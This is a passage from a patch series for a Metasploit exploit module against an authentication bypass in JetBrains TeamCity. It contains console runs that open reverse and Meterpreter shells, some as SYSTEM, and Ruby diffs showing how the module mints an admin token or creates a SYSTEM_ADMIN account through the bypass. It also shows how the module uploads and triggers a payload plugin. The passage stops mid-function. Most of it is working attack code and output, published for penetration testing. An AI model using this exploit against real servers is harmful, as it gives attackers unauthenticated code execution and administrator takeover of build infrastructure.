TEAMCITY_ADMIN_ID +The user ID of an administrator account on the server. As the first user created during installation is an +administrator account, the ID will be 1 by default. + +## Scenarios + +### Java + +``` +msf6 > use exploit/multi/http/jetbrains_teamcity_rce_0day +[*] No payload configured, defaulting to java/meterpreter/reverse_tcp +msf6 exploit(multi/http/jetbrains_teamcity_rce_0day) > set RHOST 192.168.86.68 +RHOST => 192.168.86.68 +msf6 exploit(multi/http/jetbrains_teamcity_rce_0day) > check +[+] 192.168.86.68:8111 - The target is vulnerable. JetBrains TeamCity 2023.11.3 (build 147512) running on Windows Server 2022. +msf6 exploit(multi/http/jetbrains_teamcity_rce_0day) > show targets + +Exploit targets: +================= + + Id Name + -- ---- +=> 0 Java + 1 Java Server Page + 2 Windows Command + 3 Linux Command + 4 Unix Command + + +msf6 exploit(multi/http/jetbrains_teamcity_rce_0day) > set target 0 +target => 0 +msf6 exploit(multi/http/jetbrains_teamcity_rce_0day) > set payload java/meterpreter/reverse_tcp +payload => java/meterpreter/reverse_tcp +msf6 exploit(multi/http/jetbrains_teamcity_rce_0day) > set LHOST eth0 +LHOST => eth0 +msf6 exploit(multi/http/jetbrains_teamcity_rce_0day) > show options + +Module options (exploit/multi/http/jetbrains_teamcity_rce_0day): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS 192.168.86.68 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html + RPORT 8111 yes The target port (TCP) + SSL false no Negotiate SSL/TLS for outgoing connections + TARGETURI / yes The base path to TeamCity + TEAMCITY_ADMIN_ID 1 yes The ID of an administrator account to authenticate as + VHOST no HTTP server virtual host + + +Payload options (java/meterpreter/reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + LHOST eth0 yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 Java + + + +View the full module info with the info, or info -d command. + +msf6 exploit(multi/http/jetbrains_teamcity_rce_0day) > exploit + +[*] Started reverse TCP handler on 192.168.86.42:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target is vulnerable. JetBrains TeamCity 2023.11.3 (build 147512) running on Windows Server 2022. +[*] Created authentication token: eyJ0eXAiOiAiVENWMiJ9.c1hvczdQOUFMX2J5Z3NiZU9MYzFDSEdPQ213.Mzk3NmQ5MmQtOTBmOC00OGNjLTkyNWEtMzRhYWI2YzUwMTU4 +[*] Uploading plugin: TdbCU0EE +[*] Sending stage (57971 bytes) to 192.168.86.68 +[*] Meterpreter session 1 opened (192.168.86.42:4444 -> 192.168.86.68:53099) at 2024-02-23 14:13:22 +0000 +[*] Deleting the plugin... +[*] Deleting the authentication token... +[!] This exploit may require manual cleanup of 'C:\TeamCity\webapps\ROOT\plugins\TdbCU0EE' on the target +[!] This exploit may require manual cleanup of 'C:\TeamCity\work\Catalina\localhost\ROOT\TC_147512_TdbCU0EE' on the target +[!] This exploit may require manual cleanup of 'C:\ProgramData\JetBrains\TeamCity\system\caches\plugins.unpacked\TdbCU0EE' on the target + +meterpreter > getuid +Server username: WIN-CMULENHFCK7$ +meterpreter > sysinfo +Computer : WIN-CMULENHFCK7 +OS : Windows Server 2022 10.0 (amd64) +Architecture : x64 +System Language : en_IE +Meterpreter : java/windows +meterpreter > +``` + +### Java Server Page + +``` +msf6 exploit(multi/http/jetbrains_teamcity_rce_0day) > set target 1 +target => 1 +msf6 exploit(multi/http/jetbrains_teamcity_rce_0day) > set payload java/jsp_shell_reverse_tcp +payload => java/jsp_shell_reverse_tcp +msf6 exploit(multi/http/jetbrains_teamcity_rce_0day) > show options + +Module options (exploit/multi/http/jetbrains_teamcity_rce_0day): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS 192.168.86.68 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html + RPORT 8111 yes The target port (TCP) + SSL false no Negotiate SSL/TLS for outgoing connections + TARGETURI / yes The base path to TeamCity + TEAMCITY_ADMIN_ID 1 yes The ID of an administrator account to authenticate as + VHOST no HTTP server virtual host + + +Payload options (java/jsp_shell_reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + CreateSession true no Create a new session for every successful login + LHOST eth0 yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + SHELL no The system shell to use. + + +Exploit target: + + Id Name + -- ---- + 1 Java Server Page + + + +View the full module info with the info, or info -d command. + +msf6 exploit(multi/http/jetbrains_teamcity_rce_0day) > check +[+] 192.168.86.68:8111 - The target is vulnerable. JetBrains TeamCity 2023.11.3 (build 147512) running on Windows Server 2022. +msf6 exploit(multi/http/jetbrains_teamcity_rce_0day) > exploit + +[*] Started reverse TCP handler on 192.168.86.42:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target is vulnerable. JetBrains TeamCity 2023.11.3 (build 147512) running on Windows Server 2022. +[*] Created authentication token: eyJ0eXAiOiAiVENWMiJ9.OFNzM2pkZW5IMXp0V2stY2VqWEtOZkpoOW9Z.ZWU4Y2I2ODgtZDQzMS00ZjE5LTk5NzgtNGY5YzMwM2VmMjcx +[*] Uploading plugin: jWHObFbu +[*] Deleting the plugin... +[*] Deleting the authentication token... +[*] Command shell session 2 opened (192.168.86.42:4444 -> 192.168.86.68:53110) at 2024-02-23 14:20:35 +0000 +[!] This exploit may require manual cleanup of 'C:\TeamCity\webapps\ROOT\plugins\jWHObFbu' on the target +[!] This exploit may require manual cleanup of 'C:\TeamCity\work\Catalina\localhost\ROOT\TC_147512_jWHObFbu' on the target +[!] This exploit may require manual cleanup of 'C:\ProgramData\JetBrains\TeamCity\system\caches\plugins.unpacked\jWHObFbu' on the target + + +Shell Banner: +Microsoft Windows [Version 10.0.20348.1547] +(c) Microsoft Corporation. All rights reserved. +----- + + +c:\TeamCity\bin>whoami +whoami +nt authority\system + +c:\TeamCity\bin> +``` + +### Windows Command + +Note: Ensure the target is a Windows target by confirming via the `check` command. + +Note: Ensure the `FETCH_COMMAND` is set to a suitable value, such as `CERTUTIL`. + +Note: Ensure the `FETCH_WRITABLE_DIR` is set to a suitable value, such as `%TEMP%`. + +``` +msf6 exploit(multi/http/jetbrains_teamcity_rce_0day) > set target 2 +target => 2 +msf6 exploit(multi/http/jetbrains_teamcity_rce_0day) > set payload cmd/ +Display all 623 possibilities? (y or n) +msf6 exploit(multi/http/jetbrains_teamcity_rce_0day) > set payload cmd/windows/http/x64/meterpreter/reverse_tcp +payload => cmd/windows/http/x64/meterpreter/reverse_tcp +msf6 exploit(multi/http/jetbrains_teamcity_rce_0day) > show options + +Module options (exploit/multi/http/jetbrains_teamcity_rce_0day): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS 192.168.86.68 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html + RPORT 8111 yes The target port (TCP) + SSL false no Negotiate SSL/TLS for outgoing connections + TARGETURI / yes The base path to TeamCity + TEAMCITY_ADMIN_ID 1 yes The ID of an administrator account to authenticate as + VHOST no HTTP server virtual host + + +Payload options (cmd/windows/http/x64/meterpreter/reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) + FETCH_COMMAND CERTUTIL yes Command to fetch payload (Accepted: CURL, TFTP, CERTUTIL) + FETCH_DELETE false yes Attempt to delete the binary after execution + FETCH_FILENAME qaZbVnKb no Name to use on remote system when storing payload; cannot contain spaces or slashes + FETCH_SRVHOST no Local IP to use for serving payload + FETCH_SRVPORT 8080 yes Local port to use for serving payload + FETCH_URIPATH no Local URI to use for serving payload + FETCH_WRITABLE_DIR %TEMP% yes Remote writable dir to store payload; cannot contain spaces. + LHOST eth0 yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 2 Windows Command + + + +View the full module info with the info, or info -d command. + +msf6 exploit(multi/http/jetbrains_teamcity_rce_0day) > check +[+] 192.168.86.68:8111 - The target is vulnerable. JetBrains TeamCity 2023.11.3 (build 147512) running on Windows Server 2022. +msf6 exploit(multi/http/jetbrains_teamcity_rce_0day) > exploit + +[*] Started reverse TCP handler on 192.168.86.42:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target is vulnerable. JetBrains TeamCity 2023.11.3 (build 147512) running on Windows Server 2022. +[*] Created authentication token: eyJ0eXAiOiAiVENWMiJ9.ZHpiZmNJMlB1b2Zqam5NSkw0bk1JS1hFdlZz.MjVjZDQ3YjEtODM2YS00Y2I1LWE3ODEtMzUzMTgzMDc4NjA3 +[*] Uploading plugin: RzeS0eJP +[*] Deleting the plugin... +[*] Sending stage (201798 bytes) to 192.168.86.68 +[*] Deleting the authentication token... +[+] Deleted C:\TeamCity\work\Catalina\localhost\ROOT\TC_147512_RzeS0eJP +[*] Meterpreter session 3 opened (192.168.86.42:4444 -> 192.168.86.68:53113) at 2024-02-23 14:21:43 +0000 +[!] This exploit may require manual cleanup of 'C:\ProgramData\JetBrains\TeamCity\system\caches\plugins.unpacked\RzeS0eJP' on the target + +meterpreter > getuid +Server username: NT AUTHORITY\SYSTEM +meterpreter > sysinfo +Computer : WIN-CMULENHFCK7 +OS : Windows Server 2022 (10.0 Build 20348). +Architecture : x64 +System Language : en_US +Domain : WORKGROUP +Logged On Users : 1 +Meterpreter : x64/windows +meterpreter > pwd +c:\TeamCity\bin +meterpreter > +``` + +### Linux Command + +Note: Ensure the target is a Linux target by confirming via the `check` command. + +Note: Ensure the `FETCH_COMMAND` is set to a suitable value, such as `CURL`. + +Note: Ensure the `FETCH_WRITABLE_DIR` is set to a suitable value, such as `/tmp`. + +``` +msf6 exploit(multi/http/jetbrains_teamcity_rce_0day) > set RHOSTS 192.168.86.43 +RHOSTS => 192.168.86.43 +msf6 exploit(multi/http/jetbrains_teamcity_rce_0day) > check +[+] 192.168.86.43:8111 - The target is vulnerable. JetBrains TeamCity 2023.11.3 (build 147512) running on Linux. +msf6 exploit(multi/http/jetbrains_teamcity_rce_0day) > set target 3 +target => 3 +msf6 exploit(multi/http/jetbrains_teamcity_rce_0day) > set payload cmd/linux/http/x64/meterpreter/reverse_tcp +payload => cmd/linux/http/x64/meterpreter/reverse_tcp +msf6 exploit(multi/http/jetbrains_teamcity_rce_0day) > set FETCH_WRITABLE_DIR /tmp +FETCH_WRITABLE_DIR => /tmp +msf6 exploit(multi/http/jetbrains_teamcity_rce_0day) > show options + +Module options (exploit/multi/http/jetbrains_teamcity_rce_0day): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS 192.168.86.43 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html + RPORT 8111 yes The target port (TCP) + SSL false no Negotiate SSL/TLS for outgoing connections + TARGETURI / yes The base path to TeamCity + TEAMCITY_ADMIN_ID 1 yes The ID of an administrator account to authenticate as + VHOST no HTTP server virtual host + + +Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET) + FETCH_DELETE false yes Attempt to delete the binary after execution + FETCH_FILENAME cWStJXIvdtmM no Name to use on remote system when storing payload; cannot contain spaces or slashes + FETCH_SRVHOST no Local IP to use for serving payload + FETCH_SRVPORT 8080 yes Local port to use for serving payload + FETCH_URIPATH no Local URI to use for serving payload + FETCH_WRITABLE_DIR /tmp yes Remote writable dir to store payload; cannot contain spaces + LHOST eth0 yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 3 Linux Command + + + +View the full module info with the info, or info -d command. + +msf6 exploit(multi/http/jetbrains_teamcity_rce_0day) > exploit + +[*] Started reverse TCP handler on 192.168.86.42:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target is vulnerable. JetBrains TeamCity 2023.11.3 (build 147512) running on Linux. +[*] Created authentication token: eyJ0eXAiOiAiVENWMiJ9.NVAxemdUTVFnSlp4Um1jdkN5Yi12dk1wNkJR.NTIyNTA1NjgtOWM3Zi00YzdiLTkzMTEtYTc2Y2ZkZjRjYTVl +[*] Uploading plugin: CyGZ1ME5 +[*] Sending stage (3045380 bytes) to 192.168.86.43 +[*] Deleting the plugin... +[*] Meterpreter session 4 opened (192.168.86.42:4444 -> 192.168.86.43:55572) at 2024-02-23 14:24:37 +0000 +[*] Deleting the authentication token... +[!] This exploit may require manual cleanup of '/opt/TeamCity/work/Catalina/localhost/ROOT/TC_147512_CyGZ1ME5' on the target +[!] This exploit may require manual cleanup of '/home/teamcity/.BuildServer/system/caches/plugins.unpacked/CyGZ1ME5' on the target + +meterpreter > getuid +Server username: teamcity +meterpreter > sysinfo +Computer : 192.168.86.43 +OS : Ubuntu 22.04 (Linux 6.5.0-15-generic) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > pwd +/opt/TeamCity/bin +meterpreter > +``` + +### Unix Command + +This target is suitable for targeting Linux, OSX, or any of the unofficially supported platforms such as +Solaris, FreeBSD and so on. + +Note: Ensure the target is a Unix-like target by confirming via the `check` command. + +``` +msf6 exploit(multi/http/jetbrains_teamcity_rce_0day) > set target 4 +target => 4 +msf6 exploit(multi/http/jetbrains_teamcity_rce_0day) > set payload cmd/unix/reverse_bash +payload => cmd/unix/reverse_bash +msf6 exploit(multi/http/jetbrains_teamcity_rce_0day) > show options + +Module options (exploit/multi/http/jetbrains_teamcity_rce_0day): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS 192.168.86.43 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html + RPORT 8111 yes The target port (TCP) + SSL false no Negotiate SSL/TLS for outgoing connections + TARGETURI / yes The base path to TeamCity + TEAMCITY_ADMIN_ID 1 yes The ID of an administrator account to authenticate as + VHOST no HTTP server virtual host + + +Payload options (cmd/unix/reverse_bash): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + CreateSession true no Create a new session for every successful login + LHOST eth0 yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 4 Unix Command + + + +View the full module info with the info, or info -d command. + +msf6 exploit(multi/http/jetbrains_teamcity_rce_0day) > check +[+] 192.168.86.43:8111 - The target is vulnerable. JetBrains TeamCity 2023.11.3 (build 147512) running on Linux. +msf6 exploit(multi/http/jetbrains_teamcity_rce_0day) > exploit + +[*] Started reverse TCP handler on 192.168.86.42:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target is vulnerable. JetBrains TeamCity 2023.11.3 (build 147512) running on Linux. +[*] Created authentication token: eyJ0eXAiOiAiVENWMiJ9.ME9Xa2xIMDhSYmtxTVBMaThGWDdObVJaakZ3.MDdhNDM0NzktYWM3ZC00NzAzLTk4ZmUtNjVlMzQ3MGMwOGIz +[*] Uploading plugin: 4V9kOD1D +[*] Deleting the plugin... +[*] Deleting the authentication token... +[+] Deleted /opt/TeamCity/work/Catalina/localhost/ROOT/TC_147512_4V9kOD1D +[+] Deleted /home/teamcity/.BuildServer/system/caches/plugins.unpacked/4V9kOD1D +[*] Command shell session 5 opened (192.168.86.42:4444 -> 192.168.86.43:44878) at 2024-02-23 14:27:04 +0000 + +id +uid=1002(teamcity) gid=1002(teamcity) groups=1002(teamcity) +uname -a +Linux teamcity-ubuntu-test 6.5.0-15-generic #15~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Fri Jan 12 18:54:30 UTC 2 x86_64 x86_64 x86_64 GNU/Linux +pwd +/opt/TeamCity/bin +``` diff --git a/modules/exploits/multi/http/jetbrains_teamcity_rce_0day.rb b/modules/exploits/multi/http/jetbrains_teamcity_rce_0day.rb index 2bcb27059ded..a8edeb571318 100644 --- a/modules/exploits/multi/http/jetbrains_teamcity_rce_0day.rb +++ b/modules/exploits/multi/http/jetbrains_teamcity_rce_0day.rb @@ -16,6 +16,10 @@ def initialize(info = {}) info, 'Name' => 'JetBrains TeamCity Unauthenticated Remote Code Execution', 'Description' => %q{ + This module exploits an authentication bypass vulnerability in JetBrains TeamCity,. An unauthenticated + attacker can leverage this to access the REST API and create a new administrator access token. This token + can be used to upload a plugin which contains a Metasploit payload, allowing the attacker to achieve + unauthenticated RCE on the target TeamCity server. }, 'License' => MSF_LICENSE, 'Author' => [ @@ -81,6 +85,7 @@ def initialize(info = {}) ) end + # This is the authentication bypass vulnerability, allowing any authenticated endpoint to be access unauthenticated. def send_auth_bypass_request_cgi(opts = {}) opts['vars_get'] = { 'jsp' => "#{opts['uri']};.jsp" From 8bca294966a92ee93a959f23e9e79ea16e807527 Mon Sep 17 00:00:00 2001 From: sfewer-r7 Date: Tue, 27 Feb 2024 12:00:38 +0000 Subject: [PATCH 09/29] use the Faker library --- .../exploits/multi/http/jetbrains_teamcity_rce_0day.rb | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/modules/exploits/multi/http/jetbrains_teamcity_rce_0day.rb b/modules/exploits/multi/http/jetbrains_teamcity_rce_0day.rb index a8edeb571318..3e3ac82a69f9 100644 --- a/modules/exploits/multi/http/jetbrains_teamcity_rce_0day.rb +++ b/modules/exploits/multi/http/jetbrains_teamcity_rce_0day.rb @@ -253,11 +253,11 @@ def exploit #{plugin_name} #{plugin_name} - #{plugin_name} - 1 + #{Faker::Lorem.sentence} + #{Faker::App.semantic_version} - #{plugin_name} - #{plugin_name} + #{Faker::Company.name} + #{Faker::Internet.url} From f52543b4a6a007982efc37f49755a94acde98670 Mon Sep 17 00:00:00 2001 From: sfewer-r7 Date: Tue, 27 Feb 2024 12:01:57 +0000 Subject: [PATCH 10/29] Older version of TeamCity (circa 2018) do not support access tokens, so we can fall back on creating an admin user accoutn before we upload the plugin. Creating an access token is better as we can delete the token, unlike the user account. --- .../multi/http/jetbrains_teamcity_rce_0day.md | 10 +- .../multi/http/jetbrains_teamcity_rce_0day.rb | 174 +++++++++++++----- 2 files changed, 138 insertions(+), 46 deletions(-) diff --git a/documentation/modules/exploit/multi/http/jetbrains_teamcity_rce_0day.md b/documentation/modules/exploit/multi/http/jetbrains_teamcity_rce_0day.md index 2f131a5603b9..f270fc484fdc 100644 --- a/documentation/modules/exploit/multi/http/jetbrains_teamcity_rce_0day.md +++ b/documentation/modules/exploit/multi/http/jetbrains_teamcity_rce_0day.md @@ -2,13 +2,19 @@ This module exploits an authentication bypass vulnerability in JetBrains TeamCity,. An unauthenticated attacker can leverage this to access the REST API and create a new administrator access token. This token can be used to upload a plugin which contains a Metasploit payload, allowing the attacker to achieve -unauthenticated RCE on the target TeamCity server. +unauthenticated RCE on the target TeamCity server. On older versions of TeamCity, access tokens do not exist +so the exploit will instead create a new administrator account before uploading a plugin. ## Testing [Download](https://www.jetbrains.com/teamcity/download/) and [install](https://www.jetbrains.com/help/teamcity/install-and-start-teamcity-server.html) a vulnerable version of TeamCity for either Windows or Linux, e.g. version 2023.11.3. By default the server will listen for HTTP -connections on port 8111. +connections on port 8111 (Older version of the product listen on port 80 by default). + +The exploit has been tested against: + * TeamCity 2023.11.3 (build 147512) running on Windows Server 2022 + * TeamCity 2023.11.3 (build 147512) running on Linux + * TeamCity 2018.2.4 (build 61678) running on Windows Server 2016 ## Verification Steps Note: On Windows, disable Defender if you are using the default payloads. diff --git a/modules/exploits/multi/http/jetbrains_teamcity_rce_0day.rb b/modules/exploits/multi/http/jetbrains_teamcity_rce_0day.rb index 3e3ac82a69f9..ecd3f2108920 100644 --- a/modules/exploits/multi/http/jetbrains_teamcity_rce_0day.rb +++ b/modules/exploits/multi/http/jetbrains_teamcity_rce_0day.rb @@ -19,7 +19,8 @@ def initialize(info = {}) This module exploits an authentication bypass vulnerability in JetBrains TeamCity,. An unauthenticated attacker can leverage this to access the REST API and create a new administrator access token. This token can be used to upload a plugin which contains a Metasploit payload, allowing the attacker to achieve - unauthenticated RCE on the target TeamCity server. + unauthenticated RCE on the target TeamCity server. On older versions of TeamCity, access tokens do not exist + so the exploit will instead create a new administrator account before uploading a plugin. }, 'License' => MSF_LICENSE, 'Author' => [ @@ -33,6 +34,10 @@ def initialize(info = {}) 'Platform' => %w[java win linux unix], 'Arch' => [ARCH_JAVA, ARCH_CMD], 'Privileged' => false, # TeamCity may be installed to run as local system/root, or it may be run as a custom user account. + # Tested against: + # * TeamCity 2023.11.3 (build 147512) running on Windows Server 2022 + # * TeamCity 2023.11.3 (build 147512) running on Linux + # * TeamCity 2018.2.4 (build 61678) running on Windows Server 2016 'Targets' => [ [ 'Java', { @@ -76,7 +81,8 @@ def initialize(info = {}) register_options( [ - # By default TeamCity listens for HTTP requests on TCP port 8111. + # By default TeamCity listens for HTTP requests on TCP port 8111 (Older version of the product listen on + # port 80 by default). Opt::RPORT(8111), OptString.new('TARGETURI', [true, 'The base path to TeamCity', '/']), # The first user created during installation is an administrator account, so the ID will be 1. @@ -137,7 +143,9 @@ def check def exploit # - # 1. Leverage the auth bypass to generate a new administrator access token. + # 1. Leverage the auth bypass to generate a new administrator access token. Older version of TeamCity (circa 2018) + # do not have support for access token, so we fall back to creating a new administrator account. The benefit + # of using an access token is we can delete it when we are finished, unlike a user account. # token_name = Rex::Text.rand_text_alphanumeric(8) @@ -146,21 +154,71 @@ def exploit 'uri' => normalize_uri(target_uri.path, 'app', 'rest', 'users', "id:#{datastore['TEAMCITY_ADMIN_ID']}", 'tokens', token_name) ) - unless res&.code == 200 - # One reason token creation may fail is if we use a user ID for a user that does not exist. We detect that here - # and instruct the user to choose a new ID via the TEAMCITY_ADMIN_ID option. - if res && (res.code == 404) && res.body.include?('User not found') - print_warning('User not found, try setting the TEAMCITY_ADMIN_ID option to a different ID.') + if res && (res.code == 404) && res.body.include?('api.NotFoundException') + + print_warning('Tokens API not found, falling back to creating an admin user.') + + token_name = nil + token_value = nil + + admin_username = Faker::Internet.username + admin_password = Rex::Text.rand_text_alphanumeric(16) + + res = send_auth_bypass_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'app', 'rest', 'users'), + 'ctype' => 'application/json', + 'data' => { + 'username' => admin_username, + 'password' => admin_password, + 'name' => Faker::Name.name, + 'email' => Faker::Internet.email(name: admin_username), + 'roles' => { + 'role' => [ + { + 'roleId' => 'SYSTEM_ADMIN', + 'scope' => 'g' + } + ] + } + }.to_json + ) + + unless res&.code == 200 + fail_with(Failure::UnexpectedReply, 'Failed to create an administrator user.') end - fail_with(Failure::UnexpectedReply, 'Failed to create an authentication token.') - end + print_status("Created account: #{admin_username}:#{admin_password} (Note: This account will not be deleted by the module)") - # As we have created an access token, this being block ensures we delete the token when we are done. - begin - # - # 2. Extract the authentication token from the response. - # + http_authorization = basic_auth(admin_username, admin_password) + + # Login via HTTP basic authorization and store the session cookie. + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'admin', 'admin.html'), + 'keep_cookies' => true, + 'headers' => { + 'Origin' => full_uri, + 'Authorization' => http_authorization + } + ) + + # A failed login attempt will return in a 401. We expect a 302 redirect upon success. + if res&.code == 401 + fail_with(Failure::UnexpectedReply, 'Failed to login with new admin user credentials.') + end + else + unless res&.code == 200 + # One reason token creation may fail is if we use a user ID for a user that does not exist. We detect that here + # and instruct the user to choose a new ID via the TEAMCITY_ADMIN_ID option. + if res && (res.code == 404) && res.body.include?('User not found') + print_warning('User not found. Try setting the TEAMCITY_ADMIN_ID option to a different ID.') + end + + fail_with(Failure::UnexpectedReply, 'Failed to create an authentication token.') + end + + # Extract the authentication token from the response. token_value = res.get_xml_document&.xpath('/token')&.attr('value')&.to_s if token_value.nil? @@ -169,8 +227,13 @@ def exploit print_status("Created authentication token: #{token_value}") + http_authorization = "Bearer #{token_value}" + end + + # As we have created an access token, this being block ensures we delete the token when we are done. + begin # - # 3. Create a malicious TeamCity plugin to host our payload. + # 2. Create a malicious TeamCity plugin to host our payload. # plugin_name = Rex::Text.rand_text_alphanumeric(8) @@ -267,7 +330,7 @@ def exploit zip_plugin.add_file("server/#{plugin_name}.jar", zip_resources.pack) # - # 4. Upload the payload plugin to the TeamCity server + # 3. Upload the payload plugin to the TeamCity server # print_status("Uploading plugin: #{plugin_name}") @@ -291,8 +354,10 @@ def exploit 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'admin', 'pluginUpload.html'), 'ctype' => 'multipart/form-data; boundary=' + message.bound, + 'keep_cookies' => true, 'headers' => { - 'Authorization' => "Bearer #{token_value}" + 'Origin' => full_uri, + 'Authorization' => http_authorization }, 'data' => message.to_s ) @@ -302,13 +367,15 @@ def exploit end # - # 5. We have to enable the newly uploaded plugin so the plugin actually loads into the server. + # 4. We have to enable the newly uploaded plugin so the plugin actually loads into the server. # res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'admin', 'plugins.html'), + 'keep_cookies' => true, 'headers' => { - 'Authorization' => "Bearer #{token_value}" + 'Origin' => full_uri, + 'Authorization' => http_authorization }, 'vars_post' => { 'action' => 'loadAll', @@ -323,9 +390,9 @@ def exploit # As we have uploaded the plugin, this begin block ensure we delete the plugin when we are done. begin # - # 6. Begin to clean up, register several paths for cleanup. + # 5. Begin to clean up, register several paths for cleanup. # - if (install_path, sep = get_install_path(token_value)) + if (install_path, sep = get_install_path(http_authorization)) vprint_status("Target install path: #{install_path}") if target['Arch'] == ARCH_JAVA @@ -336,7 +403,7 @@ def exploit register_dir_for_cleanup([install_path, 'webapps', 'ROOT', 'plugins', plugin_name].join(sep)) end - if (build_number = get_build_number(token_value)) + if (build_number = get_build_number(http_authorization)) vprint_status("Target build number: #{build_number}") # The Tomcat web server will compile our ARCH_JAVA payload and store the associated .class files in a @@ -353,7 +420,7 @@ def exploit # On a Linux target we see the extracted plugin file remaining here even after we delete the plugin. # /home/teamcity/.BuildServer/system/caches/plugins.unpacked/XXXXXXXX/ - if (data_path = get_data_dir_path(token_value)) + if (data_path = get_data_dir_path(http_authorization)) vprint_status("Target data directory path: #{data_path}") register_dir_for_cleanup([data_path, 'system', 'caches', 'plugins.unpacked', plugin_name].join(sep)) @@ -362,15 +429,17 @@ def exploit end # - # 7. Trigger the payload and get a session. ARCH_JAVA JSP payloads need us to hit an endpoint. ARCH_JAVA Java + # 6. Trigger the payload and get a session. ARCH_JAVA JSP payloads need us to hit an endpoint. ARCH_JAVA Java # payloads and ARCH_CMD payloads are triggered upon enabling a loaded plugin. # if target['Arch'] == ARCH_JAVA && target['Platform'] != 'java' res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'plugins', plugin_name, "#{plugin_name}.jsp"), + 'keep_cookies' => true, 'headers' => { - 'Authorization' => "Bearer #{token_value}" + 'Origin' => full_uri, + 'Authorization' => http_authorization } ) @@ -380,28 +449,33 @@ def exploit end ensure # - # 8. Ensure we delete the plugin from the server when we are finished. + # 7. Ensure we delete the plugin from the server when we are finished. # print_status('Deleting the plugin...') - print_warning('Failed to delete the plugin.') unless delete_plugin(token_value, plugin_name) + print_warning('Failed to delete the plugin.') unless delete_plugin(http_authorization, plugin_name) end ensure # - # 9. Ensure we delete the access token we created when we are finished. + # 8. Ensure we delete the access token we created when we are finished. If we authorized via a user name and + # password, we cannot delete the user account we created. # - print_status('Deleting the authentication token...') + if token_name && token_value + print_status('Deleting the authentication token...') - print_warning('Failed to delete the authentication token.') unless delete_token(token_name, token_value) + print_warning('Failed to delete the authentication token.') unless delete_token(token_name, token_value) + end end end - def get_install_path(token_value) + def get_install_path(http_authorization) res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'app', 'rest', 'server', 'plugins'), + 'keep_cookies' => true, 'headers' => { - 'Authorization' => "Bearer #{token_value}" + 'Origin' => full_uri, + 'Authorization' => http_authorization } ) @@ -438,12 +512,14 @@ def get_install_path(token_value) nil end - def get_data_dir_path(token_value) + def get_data_dir_path(http_authorization) res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'app', 'rest', 'server', 'dataDirectoryPath'), + 'keep_cookies' => true, 'headers' => { - 'Authorization' => "Bearer #{token_value}" + 'Origin' => full_uri, + 'Authorization' => http_authorization } ) @@ -455,12 +531,14 @@ def get_data_dir_path(token_value) res.body end - def get_build_number(token_value) + def get_build_number(http_authorization) res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'app', 'rest', 'server'), + 'keep_cookies' => true, 'headers' => { - 'Authorization' => "Bearer #{token_value}" + 'Origin' => full_uri, + 'Authorization' => http_authorization } ) @@ -476,12 +554,14 @@ def get_build_number(token_value) server_data.attr('buildNumber') end - def get_plugin_uuid(token_value, plugin_name) + def get_plugin_uuid(http_authorization, plugin_name) res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'admin', 'admin.html'), + 'keep_cookies' => true, 'headers' => { - 'Authorization' => "Bearer #{token_value}" + 'Origin' => full_uri, + 'Authorization' => http_authorization }, 'vars_get' => { 'item' => 'plugins' @@ -503,8 +583,8 @@ def get_plugin_uuid(token_value, plugin_name) uuid_match[1] end - def delete_plugin(token_value, plugin_name) - plugin_uuid = get_plugin_uuid(token_value, plugin_name) + def delete_plugin(http_authorization, plugin_name) + plugin_uuid = get_plugin_uuid(http_authorization, plugin_name) if plugin_uuid.nil? print_warning('Failed to discover enabled plugin UUID') @@ -516,8 +596,10 @@ def delete_plugin(token_value, plugin_name) res = 